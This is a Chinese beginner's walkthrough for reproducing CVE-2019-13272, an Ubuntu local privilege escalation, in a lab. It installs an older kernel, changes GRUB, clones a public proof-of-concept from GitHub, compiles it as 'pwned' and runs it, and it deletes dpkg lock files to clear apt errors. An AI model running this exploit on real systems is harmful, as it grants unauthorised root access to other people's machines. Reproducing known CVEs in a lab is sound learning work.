小白复现 | CVE-2019-13272提权（Ubuntu本地提权）

1.查看内核

 uname -a#发现内核版本为4.15.0

2.搜索内核版本

apt-cache search linux-image

3. 搜索指定内核

apt-cache search linux-image | grep "4.18.0.25"

4. 安装内核(使用通用签名内核镜像)

apt install linux-image-4.18.0-25-generic
出现报错

解决报错
rm /var/lib/dpkg/lock#删除/var/lib/dpkg/lock目录
执行apt install linux-image-4.18.0-25-generic

5.查看是否安装成功

grep menuentry /boot/grub/grub.cfg

6.修改引导

vim /etc/default/grub
修改之前

修改之后
wq #保存退出

7.更新引导配置文件

update-grub

8.安装git工具

sudo apt install git
报错

解决报错
rm /var/lib/dpkg/lock
执行apt install git

9.将CVE-2019-13272克隆到桌面

git clone https://github.com/jas502n/CVE-2019-13272.git

10.编译

gcc -s CVE-2019-13272.c -o pwned

gcc: error: CVE-2019-13272.c: No such file or directory#没有找到这个文件

gcc: fatal error: no input files

compilation terminated.

解决方法
cd ./CVE-2019-13272 需要进入到CVE-2019-13272目录下

11.执行pwned文件

./pwned